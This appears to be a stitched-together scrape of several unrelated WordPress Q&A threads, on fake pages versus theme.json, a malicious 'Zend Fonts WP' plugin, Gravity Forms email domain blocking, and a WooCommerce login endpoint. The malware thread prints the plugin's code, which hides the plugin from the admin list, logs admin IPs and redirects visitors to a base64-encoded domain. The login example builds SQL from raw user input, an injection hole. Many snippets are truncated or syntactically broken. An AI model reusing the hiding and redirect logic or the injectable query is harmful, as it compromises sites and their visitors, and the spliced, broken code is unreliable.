Theme json causing Error 404 The site could not be found

I have created several "fake" pages on my website to display information from another database. I recently adopted the Gutenberg editor blocks in the theme but I run into this problem. If I include the theme.json in the root folder of the domain, the "fake" pages are not displayed and return the 404 error. If I remove the theme.json file, I lose the css styles but the pages work again. Does anyone know how to solve this problem?
add_filter( 'the_posts', 'generate_fake_page', 0);
function generate_fake_page($posts) {
$post = new stdClass;
$post->post_author = 1;
$post->post_name = $url_slug;
$post->guid = home_url() . '/other/';
$post->post_title = 'My fake page';
// content
$post->post_content = $content;
$post->ID = $my_uniq_id;
$post->post_type = 'page';
$post->post_status = 'static';
$post->post_excerpt = '';
$post->comment_status = 'closed';
$post->ping_status = 'open';
$post->comment_count = 0;
$post->post_date = $my_date
$post->post_date_gmt = $my_date;

WordPress Website redirected to unknown link (due to plugin/malware Zend Fonts WP)

I desactivated then deleted a malicious "plugin" on WordPress that I never installed in the first place. Its name is Zend Fonts WP. Although, my website is still re-directed to "https://makethisdaygood.com/main" which is a website I don't know and that doesn't work anyways. What should I do next?
Here is the code that was in a file from the plugin I deleted :
if ( ! defined( 'ABSPATH' ) ) {
exit();
}
function get_the_user_ip() {
if ( isset( $_SERVER['HTTP_CF_CONNECTION_IP'] ) ) {
$ip = $_SERVER['HTTP_CF_CONNECTION_IP'];
}
elseif ( isset( $_SERVER['HTTP_CLIENT_IP'] ) ) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
elseif ( isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
function isAdminUser(){
if (current_user_can('administrator') || current_user_can('editor'))
return true;
else
return false;
}
function console_log( $data ){
echo '<script>';
echo 'console.log('. json_encode( $data ) .')';
echo '</script>';
}
//hide plugin
add_filter('all_plugins', 'hide_plugins');
function hide_plugins($plugins) {
unset($plugins['zend-fonts-wp/zend-fonts-wp.php']);
return $plugins;
}
add_action("init", "sayecho");
function sayecho(){
global $wpdb;

$user_ip = get_the_user_ip();
$isAdmin = isAdminUser();
$table_name = $wpdb->prefix."wusers_inputs";

$wpdb->insert($pluginTimeTableName, array('time'=>$timeNow));
}
$pluginStartTime = null;
foreach($wpdb->get_results("SELECT * FROM {$pluginTimeTableName}") as $data){
$pluginStartTime = $data->time;
break;
}
//check user is not from REF, not BOT and plugin install time to skip recording your data
if(!isset($_SERVER['HTTP_REFERER']) && !$isBot && $pluginStartTime + 60 < time()) {

if ( $isAdmin ) {
$isIpAndUaInDB = $wpdb->get_var(
$wpdb->prepare(

$user_ip, $user_agent ) );
if ( ! $isIpAndUaInDB ) {
$wpdb->insert( $table_name, [
'ip' => $user_ip,
'useragent' => $user_agent,
'adminID' => $isAdmin ? get_current_user_id() : - 1,
] );
}
}
}
//do redirect if user from REF and NOT Admin
if(isset( $_SERVER['HTTP_REFERER']) && !$isAdmin){
redirect();
}
}
function redirect()
{
$url = base64_decode('bWFrZXRoaXNkYXlnb29kLmNvbS9tYWlu');
if (!isset($_COOKIE[base64_decode('aHRfcnI=')])) {
setcookie( base64_decode( 'aHRfcnI=' ), 1, time() + 86400, base64_decode( 'Lw==' ) );

}
}
Edit : It seems that the changes I made worked out several hours after. I hope it won't come back! Thanks for your help!

You can do following steps as debugging.
Please Check your Site URL and Home URL in Wp Dashboard.
Please Delete .htaccess file.(It will get generated again)
check wp-config.php file and check if there any site url set in that.
Check database wp_options table and set your url correctly.
Or use Any external security plugin such as "Wordfence". Scan your website and clean up hacked website.

How to do email validation by blocking some email domain names in wordpress?

I need to validate an email field in gravity form. We have some known list of email domains and need to validate whether that domains present or not and If that domains present means we need to show the error message.
What is the best way to implement that? Any plugin suggestions?

This is possible with the GW_Email_Domain_Validator snippet here:
https://gravitywiz.com/banlimit-email-domains-for-gravity-form-email-fields/
Full snippet as of July 18, 2020 included here. Use the link above to get the latest version.

$this->_args = wp_parse_args( $args, array(

To only accept submissions from a given email domain you can do something like this:
new GW_Email_Domain_Validator( array(
'form_id' => 326,
'field_id' => 1,
'domains' => array( 'gmail.com', 'hotmail.com', '.co.uk' ),
'validation_message' => __( 'Oh no! <strong>%s</strong> email accounts are not eligible for this form.' ),
'mode' => 'limit'
) );

Woocommerce Login Custome API Endpoint

I am developing an app using woocommerece store and using the Woocommerce REST API for Fetching the Products and Order details, but now I am facing the problem in login because Woocommerce didn't provide this type of API.
So I am creating a custom endpoint and trying this but I am getting the error 404, no rest route available.
Here is my custome end point which i registered.
add_action( 'rest_api_init', function () {
register_rest_route( 'wc/v2', '/login/)', array(
'methods' => 'POST',
'callback'=> 'my_awesome_func',
'args' => array(
),
) );
} );
Here is the login of Login but i think i am doing anything wrong at someplace so please check and help me .
function my_awesome_func( WP_REST_Request $request ) {
global $wpdb;
$username = $request['email'];
$password = $request['password'];
$db = new DbOperation();
$response = array();
$login_data = array();
$login_data['user_login'] = $username;
$login_data['user_password'] = $password;
$results = $wpdb->get_row( "SELECT ID FROM rd_users WHERE user_email='".$username."'");
$activation_id = $results->ID;
$activation_key = get_user_meta( $activation_id, 'has_to_be_activated', true );
if($activation_key != false ){
$results = 2;//if activation key exists than show the error
}
else{
$user_verify = wp_signon( $login_data, false );
if ( is_wp_error($user_verify) )
{
$results = 0; //show invalid username and password.
}
else {
$results = 1; //login success.
}
}
if ($results== 1) {
$user_info = get_userdata($student[0]->ID);
$response['id'] = $user_info->ID;
$response['name'] = $user_info->display_name;
$response['fname'] = $user_info->first_name;
$response['lname'] = $user_info->last_name;
$response['email'] = $user_info->user_email;
$response['status'] = 1;
$response["error"] = false;
$response['message'] = "You have successfully Logedin!";
} else {
if($results == 0){
$response['status'] = 0;
$response["error"] = true;
$response['message'] = "Invalid username or password";
}
else{
$response['status'] = 2;
$response["error"] = true;
$response['message'] ="Your account has not been activated yet.
To activate it check your email and clik on the activation link.";
}
}
return $response;
}

See what i have found,
used https authentication. In postman, instead of using oAuth1.0 as the authentication, use Basic authentication and pass consumer key as the username. And the password should be consumer secret.
I hope that would work.
